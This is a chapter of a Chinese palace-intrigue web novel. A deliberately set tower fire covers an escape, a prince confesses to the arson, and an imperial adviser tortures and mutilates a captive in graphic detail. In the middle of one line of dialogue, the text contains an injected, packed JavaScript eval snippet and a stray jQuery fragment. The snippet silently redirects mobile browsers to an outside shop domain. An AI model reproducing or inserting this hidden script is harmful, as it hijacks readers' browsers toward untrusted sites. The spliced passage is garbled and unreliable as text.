李初棠瞳孔一颤,心脏狂跳如鼓。
时间在这一刻静止了。
她试图张张嘴,却什么也说不出来。
正此时,外面传来人影窜动的声音。
“不好!走水了——”
李初棠大惊。
“着火了?”她看向江道灼。
床帐内的旖旎氛围烟消云散。
江道灼眼神阴冷地瞥了眼门外,闭了闭眼。
时间不够了。
罢了。
李初棠慌忙起身,还没推开门,就看到外间走廊里延伸而出的火光。
怎么这么突然?
她焦急扭头,想要寻他帮忙。却见这人不慌不忙走来,双眼凝视着她,一边走近,一边脱去外袍。
“喂!都什么时候了,你还……”
气恼的话没说完,李初棠视线被外袍罩住,渗出凉丝丝的触感。
他兜头罩下外袍,牵起她的胳膊为她穿衣,骨节分明的手指滑过她的腰背,确保她的肌肤紧紧贴合上这宽大的外袍,最后弯腰在她身下,仔细绑好腰带。
“这是什么?”
李初棠抚摸布料,此物不同寻常。
“避火袍。”
他双手抚摸衣料,保证她的每一寸肌肤包裹严实,起身,帮她戴上兜帽。
外面火光冲天,热意不断蔓延至室内,慌乱凄惨的声音不绝于耳。
他带着李初棠来到蓉儿消失的那面墙。
“你怎么办?”李初棠握住他的手。
他将人抵在墙上,“不用管我,死不了。”
事态紧急,来不及说太多。他撂下简短的话,按住机关,李初棠毫无准备地陷入一片黑暗。
“不好了,公子,着火了!”
郑毅还没勒紧裤腰带,就听到外面小厮的喊声。
“怎么会,突然着火?”他推开门,看到一个面生的小厮。
床帐里衣裙还没穿好的少女一听着火,直接吓哭了。
郑毅本懵着,听见女人尖锐刺耳的哭喊更烦了。
“保护好她!”
“是!”
“常随呢?”郑毅正要带她抄小道下楼。
“自去了芙蓉阁就不见踪影,还没等小的下去找,火就烧起来了!”
郑毅暗自琢磨,火来得蹊跷,定有人暗地搞事。
握着口鼻,穿过滚滚硝烟,一个燃着火苗的木屑随风飘来,正落在郑毅的敝膝之上。
这等零星木屑,只要掸去就相安无事。
刚一落到他敝膝处,立刻燃起了巨大火舌。烈火蔓延往上,直捣下三路!
“啊啊啊啊啊!”
郑毅吓得屁滚尿流,正要喊人,刚才领他们下去的小厮已经不见了。
漫天大火焚烧着摘星楼,乌黑的浓烟隔着破碎的窗棂滚滚而出,偶有木屑碎片夹杂火苗随风飘落,惊得街头人群窜动,哀嚎遍野。
李初棠顺着暗道滑下来,滚落到摘星阁后院。此处火势不大,她披着避火袍就往门外跑,直接到了外面一处窄巷。
“小姐!”蓉儿不知从哪里钻出来,“你没事吧?”
“一切都好,我们快走。”
李初棠带她去摘星楼正门找林见微,她们约定在此处汇合。
摘星楼正门被枭羽卫把持,救火的救火,捞人的捞人,隔着官兵们围成的禁区,好像不止一拨人。
两人靠着外围悄然到了正门外。
“林姐姐呢?”
蓉儿:“刚看她在这,怎么不见了?”
李初棠心底涌起不详的预感。
蓉儿踮着脚尖往上蹦,“我看见了!”
“姐姐在那儿!”
李初棠顺着她的手指的方向看过去,看到了从摘星阁被人捞出来的林见微。
她面带土色,发髻微乱,衣裙染了灰。
“姐姐!”李初棠迎过去,“不是在外面等我,怎么进去了?”
“我没事。”林见微笑了一下,“刚刚看见着火,我想进去找你,谁想越烧越大,还亏这位……人呢?”
四周混乱,一道阴冷的视线落在林见微头上。
林见微脸色发白。
李初棠观察来者。此人面白无须,很是清秀,浓郁的香气扑鼻而来。常年在宫中行走的人,一下能猜出身份。
观其衣着气场,想必是东厂厂督。
“镇国公的明珠愈发能耐了,七夕夜不待在闺中,偏往火场里钻。下回是不是要上房揭瓦,叫满京城都看看林大小姐的本事?”
她打了个哆嗦,小声嘀咕:“我不是故意的……”
林见微最怕的就是白若虚。
记得去年重阳登高,插茱萸时不小心崴了脚,偶遇东厂的人助她下山。本来不算个事,这人竟在祖父面前告她黑状!害得她在家禁足了两月,整日应付上门提亲的痴汉。
一般情况下,林见微看见他都是绕着走。
结果今晚撞个正着。倒霉!
心里紧张,脚下生乱,她后退时踩到裙摆,身体朝前倾去。
摔倒前,一只手扶住她。
林见微闻到一股浓烈的西域奇香。
“会不会走路。”
是白若虚。他绷着脸,眼神很冷地看着她。
站稳的一瞬,他快速收回手。
惊惧之下她红了脸,“多谢,多……”
她突然止住话,呆滞的看着他。
离得太近,他耳廓上的两颗红痣就在眼前。
白若虚眯起眼睛,生出几分被冒犯的怒意。
“看什么。”
“没、没什么……”她瞪大澄澈的眼眸,眨了又眨,忽而笑了。
下一刻,在他的眼刀下,她风似的逃了。
李初棠含笑向男人福礼,“大人先忙,我等不打搅啦。”
林见微随她上了马车,仍惊魂未定。
“你认识他?”李初棠觉得她有点反常。
“回去再说。”
有枭羽卫的地方,就有江道灼。
京城谁人不知这俩阎王,今儿撞到一起,可不是有大事发生。
“国师到——”外面传来唱和声。
“快走快走!”林见微催促车夫。
马车掉头而去,李初棠掀开车帘,瞟了眼外面。
摘星楼下,厂督身边出现另一道身影。借着火光,她看到那人雪白的道袍,镀金的莲花冠,他手持拂尘,鹤立在旁。
侧脸的骨相极佳,虽看不清长相,但通身有种诡异的熟悉感。
李初棠眉心渐渐皱起。
随林见微回了知著书斋,直奔二楼,喝了一整壶凉茶,她才缓了过来。
“但愿别传到祖父耳里,不然可有我受的。”林见微闭眼,双手合十。
再睁眼,见李初棠闷闷不乐,“想什么呢?”
“噢,没什么。”
“怎么了这是,没拿到信?”
“拿到了。”李初棠拿出陈旧的信封,里面装着当年水匪和外祖父的信件往来。
正是这些信纸,成了苏家勾结水匪的关键物证。
林见微接过,“信封古朴,信纸老旧,咳咳,上面还有发霉的味儿,是多年前的真件。”
她展开信纸,李初棠凑了过去。
“这不是外祖父的字。”
“我知道,苏祁先生笔锋稳健,力道足,不会写得这么飘逸。”林见微指着一处说,“虽不明显,一撇一捺间仍有区别。写信的人极力模仿苏先生笔迹。”
李初棠惊奇:“你见过外祖父的书法?”
“嗯嗯。”林见微点头,“我有研究古籍孤本的习惯,收藏过江南第一大世族的字帖,还试着临摹过。”
“背地搞事的人仿写假信,定要揪出此人。”林见微让丫鬟去最远处那排书架抱来一摞又一摞厚厚的纸张。
“只能用笨法子了。”
“穷举法?”
林见微点头。
“祖父人脉广阔,常有官员拜帖来信。我酷爱书法,这些有的没的,他都留给了我。”
李初棠看着桌面上的纸张,或是拜帖,或是诗赋,五花八门。
蓉儿看见字就头大:“这要找到啥时候。”
李初棠:“字迹仿得像,还能模仿我外祖父的口吻,必是文人。”
没再磨蹭,她和林见微点灯熬油,一个一个比对。
不知何时,七夕节的热闹悄然而逝,宁静的夜色下偶有传来更夫的敲击声。
白纸黑字一张接一张,看得人眼花缭乱。
蓉儿剪去多余的火烛,给累趴下的两人添茶倒水。
“不干了、不干了……唔!”
林见微拿出一盒糕点,塞到她嘴里。
李初棠拿起松软的点心,咬了一口,细细咀嚼。
“好吃!”
“这是上次我说的城西那家老字号。”
“不是说店主病重不干了?”李初棠问。
“说来奇了,没过几天这家店重新开业,店主大病痊愈,想继续做买卖。”
“太巧了吧?”
林见微旁边的丫鬟插嘴:“可不是,店主热络,知道我家小姐是大主顾,每日都留一份新品特意送来。”
林见微垂眸,笑而不语。
李初棠瞪圆眸子。
之前林见微说自己是幸运女神,她还不信。这种事一次两次出现,一定有贵人暗里相助,不然不会如此顺风顺水。
她就这样疑惑又好奇地看着林见微。
对方知她心思,笑着打发走两个丫鬟。
室内只留她们二人。
“你是不是想知道为什么。”
“姐姐不想说就不提。”
她怕牵连林见微,没告诉她平冤的事,又怎能让人家轻易说出秘密呢。
“大概从几年前开始,我随口说出的话,会‘言出法随’,不管想要什么,只要稍一说出口,愿望就会真的实现。我起初纳闷,后来故意说出无礼要求,却不会应验。”
“背后那个人,好像知道我什么时候是在胡闹,什么时候是真心想要某物。开始,我还想揪出这人,但后来发现……”林见微无奈地微笑,“他藏得太深。”
李初棠搂住她,“也许是背地里喜欢姐姐的人呢。”
“如果是,会是谁。他有这么大权利,可以满足我想要的一切,为什么不来见我。”
那双秋水般的狐狸眼眸里,泛出点点泪光。
“初棠,你知道我为什么开这家书斋,为什么帮你查信。”
林见微猜到她想为苏家平冤。
“当年梁皇后一族倒台,波及京中一批世族。”
李初棠微微思量:“……张家?”
林见微点头,起身从最近的书架里取出一沓保存完好的卷宗。
“这是我花重金搞到的,当年张家抄家获罪的资料。”
李初棠抬手翻看,看到了男丁净身流放南疆的记录。
“他叫张楚,与我指腹为婚。“那年秋狩,我追一只白狐,跑进了密林深处。马受了惊,把我甩下来,正好摔在熊窝前。那熊站起来比人还高,我以为死定了。”
“然后他来了。”
“骑着马,拿着弓,一箭射中熊眼。熊发狂了,扑过来,他来不及拔第二支箭,就用自己的身体挡在我前面。”
她低头,指尖摩挲着茶杯边缘:“熊咬住了他的肩膀。他闷哼了一声,没叫。血淌了我一身。”
“我吓哭了,他还笑。说‘别哭,死不了’。”
林见微笑得很甜:“后来他养伤,我去看他。他趴在床上,肩膀裹得像个粽子。我给他带了自己做的点心,他嫌难吃,还是吃完了。”
她埋头,诉说着少女心事,声音轻得像梦。
“我们会生儿育女,白头到老,谁想太子出事,张家家主曾任太子太傅,一并受牵连,问斩的问斩,流放的流放,祖父上门退了婚事,我再没见过他。”
“南疆之地瘴气丛生,毒虫密布,凡入此地者九死一生。他怕是……”林见微心头绞痛,“怕是……”
李初棠拉住她的手,“或许他偷偷回京,暗地里助你也不一定。”
林见微苦笑了一下,摇摇头,“南疆万里之远,他是戴罪之身,如何回得来。”
她不是没做过这种美梦,梦到某天早上他突然出现在她的深闺,掀开红帐,抚着脸颊告诉她,他回来了。
李初棠静思,“他难道在东厂,刚刚见的白督主……”
“他和张楚一样,耳边有两颗红痣。”
李初棠恍然大悟:“他该不会……”
“不可能。”林见微倒了杯冷酒,仰头灌下,又倒了一杯,“厂督白若虚,年过三旬,自幼侍奉皇帝,我在宫中当太子伴读时,经常撞见他。”
年龄都对不上,容貌更是千差万别。
他和张楚完全是两个人。
她甩了酒杯,对着壶嘴喝酒,一直喝到一滴不剩,悻悻扔了空酒壶。
李初棠愣怔在她身侧,像个没了魂魄的行尸走肉。
林见微趴在桌上,“怎么了,棠棠?”
“你刚刚说,他叫什么?”
“你说白督主?原名白若虚,白、若、虚。”
林见微一字一顿道。
李初棠僵住。
“你怎么了?”
“没怎么……”她瞳孔发直,缓缓听到自己的回复。
对比字迹的文书停在了某一页,她低垂着眼,心不在焉。
直到家丁匆匆赶来,唤她回府,语气慌乱。
李初棠心生不好的预感,问他什么事这么急。
家丁为难:“小姐您还是亲自问公主吧。”
李初棠满腹疑窦,别了林见微,随家丁回府。
路上不禁奇怪,公主府七夕夜宴,到底能有什么急事。
当晚的西苑,灯火熠熠,亦同白昼。
元景帝看着底下灰头土脸的暗卫,神色凝重。
“确定是此人?”
“白督主作证,千真万确。”
江道灼掩去眸中冷笑,即便再信任他,这人也不忘叫白若虚过去盯梢。
白若虚幽幽道:“正是呢,咱家若不是亲眼所见,也不敢相信,竟然是二皇子府中暗卫作祟,烧得摘星阁片甲不留。”
言罢,殿内一片死一般的寂静。
元景帝阴沉的眼眸里凝聚出一丝戾色。
摘星阁是何等地界。
冲神道长授予他道法之初,为表敬意,他亲赐的产业,后托付给江道灼暗中打理,这厢出了如此大的纰漏,不知冲神在天之灵,会不会降罪于他。
“现在情况如何?”
“回陛下
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17574543|202448||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,大火已灭。楼阁内死伤惨重,郑国公长子也在列。”
“哦,郑毅?”
“据说……”白若虚靠近,耳语,“是被烧断了子孙根,日后恐不能传宗接代。”
江道灼心中舒适。
元景帝一脸晦气,看了眼暗卫,“老二呢,让他滚过来。”
张澜进来时,整个人气定神闲,如归家般闲适,与平时卑微之举大不相同。
饶是元景帝见了儿子,眼底也闪过一丝惊讶。
不愧是干大事的人。
“儿臣见过陛下。”他俯身下跪,久未起身。
“摘星楼被烧,你的人被擒,你还有什么话说。”
张澜还未说话,旁边的暗卫忙道:“是小人自作主张,无人指使!”
此番出口,又是谁会信。
张澜温和一笑,抬眸正视皇帝:“是我干的,请父皇惩处。”
“为何行此下作之事?你明知那是冲神道长传道后所建楼阁,意义非凡!”
看着元景帝吹胡子瞪眼,张澜颇觉好笑,又生出扭曲的满足——自幼敬重的父亲,一向不把他放在眼里,这次终于在他把事情闹大后对他另眼相看。
事到如今,他反而不怕了:“是,我知道,但孩儿依旧要烧,我不但烧,还要选在人最多,最热闹的这一天。”
张澜顿了顿,眼底闪过疯戾,“父亲多年痴迷炼丹修道,何事关注过民生社稷,冲神老贼装神弄鬼,一味迷惑父皇,他死了最好,不仅他死,他留下的东西也该一并西去!”
江道灼饶有兴致地挑挑眉,头一遭见有人这么辱骂冲神道长,还是当着他这个徒弟的面。
孺子可教也。
“啪——”
元景帝这一下来得太快,张澜来不及反应,只觉脸颊火辣辣的疼,鬓角的发丝也跟着飘飞。
宫女内侍齐齐跪倒,在白若虚眼神的示意下,随他鱼贯而出。
室内只剩三人。
“你可知冲神道长是你什么人,你师祖!当着师父的面出言不逊,目无法度,你……你!”
元景帝一口气提不上来,抚着胸口喘息不已。
“道君注意身体,若无旁的事,贫道告辞。”江道灼提起拂尘要走,又道,“对了,前些天道君命我查出天祭之事,此刻复命。”
他淡淡扫了眼张澜。
元景帝僵在了原地。
室内气氛变得诡异,宛如涌动的暗流浮出水面。
张澜仰头闭了闭眼,心知大势已去,装都不装了,“果然,要想人不知除非己莫为,玄真道长心智近妖,瞒到现在,值了。”
“父亲以为,孩儿何时信过这些妖道?若不是为了获得父亲一点点认可,我又何不故弄玄虚皈依道门?”
从小到大,他都是那个不受认可的孩子。上有嫡长子出身的太子兄长,下有外戚大族坐镇的弟弟,唯独他这个老二夹在中间,一无高贵出身,二无母族根基,为父亲和亲贵所不喜。
在这番富贵又复杂的环境中生长,他天性懦弱,又抑制不住野心,一向爱讨好周围人,尤其是父亲。
也许向他一样加入道门,就会多收获他的认可。也许照他说的做,乖乖听话,就能收到更多重视。
他的一生,都在为寻求亲人的关怀而努力,可到头来,万事皆成空。
“你这个疯子!”
衣领被骤然提起,张澜由着父亲动粗,没有挣扎。
元景帝的脸近在眼前,一双眉眼厌恶地看着他。
张澜倏地笑了,“子肖父,拜您所赐。”
“若无您的提点,我怎敢天祭作祟?”张澜浑浊的眼里露出狞笑,“多谢父皇,愿意给我表现的机会,可孩儿不知,您行此疯癫之举,意欲何为?”
难道连冲神道长的亲传弟子玄真都信不过?
元景帝一脸肃然:“天祭失败只因你胡作非为,与朕有何干系?”
张澜一怔,整个人僵住,不可思议地看着父亲。
“来人,拟旨。二皇子疯癫无状,烧毁楼阁,贬为庶人,幽禁钟南山!”
许久,张澜从他的呵斥中缓过来,身子倏地松垮,肩头颤抖着大笑了起来。
回国师府路上,观澜神采飞扬地邀功。
“嗐,您可别说,当时我趁他云雨,往他衣袍敝膝处淋桂花油,一说着火他慌得出门了,好家伙,烧成太监了!”
观澜捂着嘴狂笑。
江道灼冷冷打断:“那郑家的家丁……”
车厢内,观澜压低声音,做了个抹脖子的动作:“收拾妥当了。”
“而且还有意外收获。”
江道灼瞄他一眼。
“主上猜猜,郑毅勾搭的女人是谁?”观澜笑得鸡贼,凑过去耳语。
江道灼挑唇。也好,算是帮她出气。
“那个姓霍的呢?”
“捆着呢。”观澜提灯引路。
当时他于暗处捣鬼——李初棠和蓉儿前脚翻窗出了芙蓉阁,他后脚将昏迷的霍辛带去暗道,派人运进国师府。
整个京城,谁人见了国师府不是绕着走,而国师府内更是别有洞天。有养蛇的窝,炼药的窟,有住宅,有道场,也有最晦暗最阴深的地牢。
霍辛捆在木架上,痴痴傻傻,宛如木头人。
“李姑娘聪慧,给他用了药,迷糊着呢。”
“那多没意思啊。”
江道灼笑了,“弄醒。”
观澜正要动手,只听他道:“我亲自来。”
月色透过逼仄的铁窗,撒下一缕微弱的光。伴着地牢内腌臜的气息,观澜看着主上和颜悦色的侧脸,心里止不住颤抖。
“呲啦——”
一刀撕下他的衣袍,露出肉身肌理,银匕带着一条条肉片而下,血腥味瞬间弥漫于牢狱之中。
凌迟的痛苦,让霍辛重获知觉。
“这是……哪儿?”
他迷蒙地掀眼,看到自己皮开肉绽的身体。
“啊——!”
又一刀狠狠刺下。
“你是……你是……国师?”
“原来你认得我?那你怎么敢欺辱我女人?”
“我、我没……啊!”指甲盖被人硬生生拔了下来。
霍辛疼的双目暴凸,长大的嘴巴一口气喘不上来。
他再笨再蠢,也明白这人在给谁出气。
“我、我和……李、李家小姐……清清白白……”
“什、什么也、也没发生……我就……多看了……她一眼……”
“一眼也不行!”
尖锐的匕首插进眼眶,鲜红的血液淌了出来,霍辛大叫一声昏死过去。
江道灼剥下他浑浊的眼球,一颗,两颗,仍到地上。
许久没见他这么生气,观澜吓得脸色惨白。
江道灼浑然不觉,慢条斯理擦着手,拂去溅到的血点,徐徐道:
“剁掉他的子孙根,细细切成臊子,去喂我的蛇。”
这场大火,可以掩盖住他们所有的痕迹。二皇子素有雅量,背背黑锅是寻常事。
正此时,暗卫来报:“主上!”
今夜他不放心,专门派去盯着她的。
江道灼擦血的手一抖,“她怎么了?”
“李、李姑娘在公主府……”瞥见国师冷沉的眼眸,下半句细若蚊呐,“出事了。”